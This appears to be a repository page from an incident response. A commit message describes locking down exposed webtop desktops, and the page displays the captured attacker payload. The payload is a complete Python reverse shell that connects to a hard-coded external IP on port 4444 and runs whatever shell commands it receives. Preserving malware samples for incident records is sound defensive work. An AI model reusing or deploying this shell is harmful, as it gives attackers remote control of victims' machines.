Sam Rolfe
2ed0ca80ae
- Weblog desktops were unauthenticated and publicly reachable (entry vector) - Caddy basic_auth applied to gimp/lmms/video/audio routes -> 401 verified - Webtop-native CUSTOM_USER/PASSWORD on all four (defence in depth) - GIMP + LMMS rebuilt clean; gimp-config volume deleted, lmms-config quarantined - Removed /home/sam:ro mount from GIMP (was exposing secrets to the container) - Service-controller restarted (was dead, which is why toggles did nothing) - Incident record + captured payload in docs/incident-2026-11-11*
30 lines
797 B
Python
Executable File
30 lines
797 B
Python
Executable File
import socket, subprocess, time, sys, os, fcntl
|
|
LOCK_FILE = "/tmp/.sys_core.lock"
|
|
try:
|
|
fp = open(LOCK_FILE, 'w')
|
|
fcntl.flock(fp, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
|
except IOError:
|
|
sys.exit(0)
|
|
|
|
SERVER = "84.8.219.196"
|
|
PORT = 4444
|
|
|
|
while True:
|
|
try:
|
|
s = socket.socket()
|
|
s.connect((SERVER, PORT))
|
|
while True:
|
|
cmd = s.recv(1024).decode()
|
|
if not cmd or cmd.lower() in ["q", "quit", "x", "exit"]:
|
|
break
|
|
try:
|
|
res = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
|
|
except Exception as e:
|
|
res = str(e).encode()
|
|
if len(res) == 0:
|
|
res = b"[+] Executed\n"
|
|
s.send(res)
|
|
s.close()
|
|
except:
|
|
time.sleep(5)
|